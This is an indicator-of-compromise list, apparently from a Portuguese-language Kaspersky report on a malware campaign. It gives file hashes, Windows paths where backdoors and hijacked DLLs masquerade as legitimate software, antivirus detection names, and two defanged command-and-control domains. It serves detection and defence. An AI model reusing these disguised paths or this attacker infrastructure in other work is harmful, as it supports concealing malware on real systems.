11955356232DCF6834515BF111BB5138
11BA5665EC1DBA660401AFDE64C2B125
17FA7898D040FA647AFA4467921A66CF
180EE3E469BFFCC079E1A46D16440467
1EA58FF469F5EE0FDCF5B30FC19E4CB8
216D9F82BA2B9289E68F9778E1E40AC9
29B62694DC9F720BD09438F37B7B358A
3953EB8F7825E756515BE79EF45655B0
3A13B99B2567190AB87E8AB745761017
40EB08F151859C1FE4DC8E6BC466B06F
413FA4AD3AFE00B34102C520A91F031C
4866622D249F3EA114495A4A249F3064
4AD1AD14044BD2C5A5C5E7E7DD954B23
4D42C314FF4341F2D1315D7810BD4E15
51367DC409A7A7E5521C2F700C56A452
51BEFD74AC3B8943DA58C841017A57A8
56AF3279253E4A60BD080DD6A5CA7BA8
5EA338D71D2A49E7B3259BC52F424303
5EB42E1BA99FACE02CE50EA1AAF72AB5
6038583B155F73FAF1B5EF8135154278
64EF950D1F31A41FE60C0FD10CA46109
6652923CE80A073FD985E20B8580E703
6BDF1C294B6A34A5769E872D49AFD9E7
6DFC3BDD2B70670BF29506E5828F627E
70DA6872B6B2DA9DDC94D14B02302917
7101FE9E82E9B0E727B64608C9FD5DF1
7C383C9CA29F78FCC815EAEA9373B4BB
7FE40325F0CEF8A32E69A6087EBC7157
84DF335EBC10633DA1524C7DBB836994
87AA0BEDF293E9B16A93E4411353F367
94AF1B400FDBDEBD8EDA337474C07479
AA7231904A125273F5E5EE55A1441BA4
AB26F4C877A7357CABF95FB5033A5BEF
AB55A08ED77736CE6D26874187169BC9
AE11F7218E919DF5B8A9A2C0DC247F56
B2C9F5CAE72AF5A50940D55BB5B92E98
C6D6CFFD56638A68A0DE11035B9C9097
CBECDFA1D0708D60500864A2A9DE4992
CCC9482A7BEE777BBB08172DCCDAB8AA
D394F005416A20505C597ECF7882450F
D44A276529343F7AC291AD7AD0B99378
D669B03807102B4AF87B20EC3731909A
DA765E4E6B0D2544FE3F71E384812C40
E005F5DA3BA5D6726DA4E6671605B814
E2A3CD2B3C2E43CA08D2B9EE78D4919B
E8800D59C411A948EE966FF745FBD5C9
E8A16193BCD477D8231E6FC1A484DC8A
EBCFFECE1B1AF517743D3DFFDE72CB43
F01A9A2D1E31332ED36C1A4D2839F412
FB2B4C9CA6A7871A98C6E2405E27A21F
FF6D8578BE65A31F3624B62E07BEF795
6860189B79FF35199F99171548F5CD65
9EC56A18333D4D4E4D3C361D487C05BD
E5B6571E1512D3896F8C2367DDC5A02D
7CB0D8CFFE48DF7B531B6BEDE8137199
86BB8FA0D00FD94F15AE1BD001037C6C
9F5BBA1ACEF3CCBBDC789F8813B99067
4EA2B943A1D9539E42C5BDBA3D3CA7A0
5934B7E24D03E92B3DBACBE49F6E677C
C8F13C9890CEB695538FDC44AD817278
BABDF6FA73E48345F00462C3EF556B86
CBB7E0B8DDE2241480B71B9C648C1501
Caminho de Arquivo
C:\Microsoft\MF\Instsrv.exe
C:\ProgramData\1C\ace.exe
C:\ProgramData\2GIS\!research\Remediation.exe\winhelp.tmp
C:\ProgramData\2GIS\conhost.exe
C:\ProgramData\2GIS\conhost.exe.cab
C:\ProgramData\2GIS\ps.cab
C:\ProgramData\2GIS\Remediation.exe
C:\ProgramData\2GIS\Remediation.exe.cab
C:\ProgramData\2GIS\research\conhost.exe
C:\ProgramData\2GIS\research\Ps.exe
C:\ProgramData\2GIS\research\Remediation.exe
C:\ProgramData\AADConnect\1.bat
C:\ProgramData\AADConnect\bdtkexec.cfg
C:\ProgramData\AADConnect\PtWatchDog.exe
C:\ProgramData\AADConnect\TmDbgLog.dll
C:\ProgramData\Adobe\ARM\mcsync.exe
C:\ProgramData\Adobe\ARM\mcsync.log
C:\ProgramData\Adobe\ARM\McUtil.dll
C:\ProgramData\Apple\asOELnch.exe
C:\ProgramData\Apple\ccLib.dll
C:\ProgramData\Apple\NordLnch.cfg
C:\ProgramData\ASUS\ALL\mcsync.exe
C:\ProgramData\ASUS\ALL\mcsync.log
C:\ProgramData\ASUS\ALL\McUtil.dll
C:\ProgramData\Intel\hccutils.dll
C:\ProgramData\Intel\hkcmd.exe
C:\ProgramData\Intel\hkSetting.cfg
C:\ProgramData\Microsoft\AppV\hccutils.dll
C:\ProgramData\Microsoft\AppV\hkcmd.exe
C:\ProgramData\Microsoft\AppV\hkSetting.cfg
C:\ProgramData\Microsoft\Crypto\RSA\asOELnch.exe
C:\ProgramData\Microsoft\Crypto\RSA\ccLib.dll
C:\ProgramData\Microsoft\Crypto\RSA\mcsync.exe
C:\ProgramData\Microsoft\Crypto\RSA\mcsync.log
C:\ProgramData\Microsoft\Crypto\RSA\McUtil.dll
C:\ProgramData\Microsoft\Crypto\RSA\NordLnch.cfg
C:\ProgramData\Microsoft\DRM\LiveUpdate.exe
C:\ProgramData\Microsoft\DRM\mcinsupd.cfg
C:\ProgramData\Microsoft\DRM\mcinsupd.exe
C:\ProgramData\Microsoft\DRM\mytilus3.dll
C:\ProgramData\Microsoft\DRM\safestore64.dll
C:\ProgramData\Microsoft\MF\Active.GRL
C:\ProgramData\Microsoft\MF\Instsrv.exe
C:\ProgramData\Microsoft\MF\Pending.GRL
C:\ProgramData\Microsoft\MF\wus.dll
C:\ProgramData\Microsoft\uconhost.exe
C:\ProgramData\Oracle\ace.exe
C:\Users\Default\AppData\Roaming\winset\LiveUpdate.exe
C:\Users\Default\AppData\Roaming\winset\safestore64.dll
C:\Windows\System32\Tasks\GUP
C:\Windows\System32\Tasks\hkcmd
C:\Windows\System32\wam.dll
C:\Windows\System32\wus.dll
C:\Windows\SysWOW64\wus.dll
C:\Windows\Temp\conhost.dll
C:\Windows\Temp\conhost.exe
C:\Windows\Temp\mcoemcpy.exe
C:\Windows\Temp\McoemcpyRun.log
C:\Windows\Temp\McUtil.dll
C:\Windows\Temp\McUtil.dll.cab
C:\Windows\Web\1\hccutils.dll
C:\Windows\Web\1\hkcmd.exe
C:\Windows\Web\1\hkSetting.cfg
C:\ProgramData\Microsoft\Network\Downloader\Client.cfg
C:\ProgramData\Microsoft\Network\Downloader\Update.exe
C:\ProgramData\my_capture.exe
%AppData%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MpClient.dll
%AppData%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MsMpEng.exe
%AppData%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSCAL.OCX
%AppData%\Roaming\Microsoft\MsMpEng.exe
C:\ProgramData\temp\wcrypt32.dll
C:\ProgramData\temp\wmic.dll
C:\ProgramData\ABBYY\FineReader\Client.cfg
C:\ProgramData\ABBYY\FineReader\debug.log
C:\ProgramData\ABBYY\FineReader\OEMPRINT.CAT
C:\ProgramData\ABBYY\FineReader\Update.exe
C:\ProgramData\ABBYY\FineReader\WINWORD.EXE_
C:\Windows\Temp\Client.cfg
C:\ProgramData\Adobe\Setup\mcinsupd.exe
C:\ProgramData\Adobe\Setup\mcinsupd.cfg
Solução de Segurança
Backdoor.Win32.Agent.myuhpj
HEUR:Trojan.Win32.APosT.gen
not-a-virus:NetTool.Win32.NbtScan.a
Trojan.Win64.Agent.qwhymc
Trojan.Win64.Agent.qwhypj
Trojan.Win64.Dllhijacker.km
Trojan.Win64.Dllhijacker.ks
Trojan.Win64.DllHijacker.qq
HEUR:Backdoor.Win32.CotSam.gen
Nomes de Domínio e Endereços IP
custom.songuulcomiss[.]com
fax.internnetionfax[.]com
Fonte: Kaspersky